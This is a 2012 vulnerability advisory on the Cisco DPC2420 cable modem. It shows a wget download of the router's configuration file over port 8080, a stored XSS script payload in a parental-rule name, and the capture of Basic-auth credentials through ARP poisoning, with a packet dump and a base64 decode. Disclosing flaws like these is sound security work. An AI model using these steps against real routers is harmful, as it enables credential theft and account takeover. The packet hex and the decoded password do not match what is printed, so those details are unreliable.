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##
## ->  Title: DPC2420 Multiple vulnerabilities
## -> Author: Facundo M. de la Cruz (tty0)
## -> E-mail: fmdlc@code4life.com.ar
## 

[0x00]> Details

 Vendor  : Cisco
 Model   : DPC2420
 type    : Cablemodem router. 
 Firmware: D2425-P10-13-v202r12811-110511as-TRO.bin
 Software: D2425-P10-13-v202r12811-110511as-TRO
 Website : http://www.cisco.com/web/consumer/support/modem_DPC2420.html

[0x01]> Configuration file disclosure

Some ISP's (like the Argentinean Telecentro) could make some changes in the router configration via the 
TCP 8080 port.

If the remote config option is enabled and the port is not filter, an attacker can download this file 
calling the correct URL. For example:


$ wget http://foobar:8080/filename.gwc -O filename.gwc 
- --2012-12-08 21:24:43--  http://foobar:8080/filename.gwc
Connecting to foobar:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/octet-stream Content-transfer-encoding: binary]
Saving to: “filename.gwc”

    [  <=>                                                          ] 15,927      50.9K/s   in 0.3s    

2012-12-08 21:24:43 (50.9 KB/s) - “filename.gwc” saved [15927]

$ head -n 10 filename.gwc 
CRCVALUE=4144540802;
#<<Begin of Configuration File>>
Version=1.1;
Created Date=2012/12/8;
Created Time=21:24:43;
Model Number=DPC2420;
Serial Number=234905123;
User Password=ky3gUCBmdwbaviPW5GxMZ8vdgzHjvS3wKfdF2Lhbdwq+S6qn+1fvgs54YBwl0jX2glgaQuXx27Eo3FgAz5E1N7bk9yR
7hDbzGS+y7XY4jJjY5yin5SkqAQp9GJl/sZO4t4D7TJzy2oV43flEwmdIPkyJC74zTOYZhb24ULJz3HV6ci5wn3gMPi0rSTkUc3pzHdiK
WMMAsuMrYBi5MU9yqZ1vhCfC/c2Is1xgU1Kq0Y1Wcn2LdmRFU6+7rjRuN6iisAQZRQcF/kiym5VewYRBbnRNKjMXC0fw+M9y4V7Y8S4B6
3XuEwcq3OPUSLWKaA6yPDN5e5ZNxwJJuxldirDXBg==;
[---OUTPUT OMITTED FOR SPACE REASONS---]

[0x02]> - Persistent XSS

With a valid user in the router web interface for managment and configuration, a user could insert JavaScript
code in this forms and make a XSS, for example add a parental rule called "'/><script>alert(1)</script>.

http://192.168.0.1/RgParentalBasic.asp

- -> Attachments: http://tty0.code4life.com.ar/CISCO-DPC2420-XSS.png

[0x03]> Authtype Basic 

An attacker making an ARP poisoning attack could get the router loggin credentials due the web interface 
authentication type is auth-basic. 
Then the attacker could get the Base64 encoded password and convert it to plain text easily. 

20:58:47.879985 IP 172.16.1.242.34464 > 192.168.0.1.http: Flags [P.], seq 0:372, ack 1, win 115

        0x0000:  4500 01a8 fdf4 4000 4006 ccaf ac10 01f2  E.....@.@.......
        0x0010:  c0a8 0001 86a0 0050 e4cf 13e5 76c7 819e  .......P....v...
        0x0020:  8018 0073 03c2 0000 0101 080a 055f ee19  ...s........._..
        0x0030:  0000 be7e 4745 5420 2f73 6967 6e61 6c2e  ...~GET./signal.
        0x0040:  6173 7020 4854 5450 2f31 2e31 0d0a 486f  asp.HTTP/1.1..Ho
        0x0050:  7374 3a20 3139 322e 3136 382e 302e 310d  st:.192.168.0.1.
        0x0060:  0a55 7365 722d 4167 656e 743a 204d 6f7a  .User-Agent:.Moz
        0x0070:  696c 6c61 2f35 2e30 2028 5831 313b 204c  illa/5.0.(X11;.L
        0x0080:  696e 7578 2078 3836 5f36 343b 2072 763a  inux.x86_64;.rv:
        0x0090:  3136 2e30 2920 4765 636b 6f2f 3230 3130  16.0).Gecko/2010
        0x00a0:  3031 3031 2046 6972 6566 6f78 2f31 362e  0101.Firefox/16.
        0x00b0:  300d 0a41 6363 6570 743a 2074 6578 742f  0..Accept:.text/
        0x00c0:  6874 6d6c 2c61 7070 6c69 6361 7469 6f6e  html,application
        0x00d0:  2f78 6874 6d6c 2b78 6d6c 2c61 7070 6c69  /xhtml+xml,appli
        0x00e0:  6361 7469 6f6e 2f78 6d6c 3b71 3d30 2e39  cation/xml;q=0.9
        0x00f0:  2c2a 2f2a 3b71 3d30 2e38 0d0a 4163 6365  ,*/*;q=0.8..Acce
        0x0100:  7074 2d4c 616e 6775 6167 653a 2065 6e2d  pt-Language:.en-
        0x0110:  5553 2c65 6e3b 713d 302e 350d 0a41 6363  US,en;q=0.5..Acc
        0x0120:  6570 742d 456e 636f 6469 6e67 3a20 677a  ept-Encoding:.gz
        0x0130:  6970 2c20 6465 666c 6174 650d 0a43 6f6e  ip,.deflate..Con
        0x0140:  6e65 6374 696f 6e3a 206b 6565 702d 616c  nection:.keep-al
        0x0150:  6976 650d 0a52 6566 6572 6572 3a20 6874  ive..Referer:.ht
        0x0160:  7470 3a2f 2f31 3932 2e31 3638 2e30 2e31  tp://192.168.0.1
        0x0170:  2f77 6562 7374 6172 2e68 746d 6c0d 0a41  /webstar.html..A
        0x0180:  7574 686f 7269 7a61 7469 6f6e 3a20 4261  uthorization:.Ba
        0x0190:  7369 6320 4f6b 4d30 626d fa38 3443 a9c0  sic.aWFtYXBhc3N3
        0x01a0:  1b4e 1134 640a 054b                      ZAo==....

- From 0x0180 offset to the end of the packet payload the attacker could get the password 
encoded with Base64 and simply convert it to plain text:

$ echo aWFtYXBhc3N3ZAo== | base64 -d
iamapassword

- ---
1355011796

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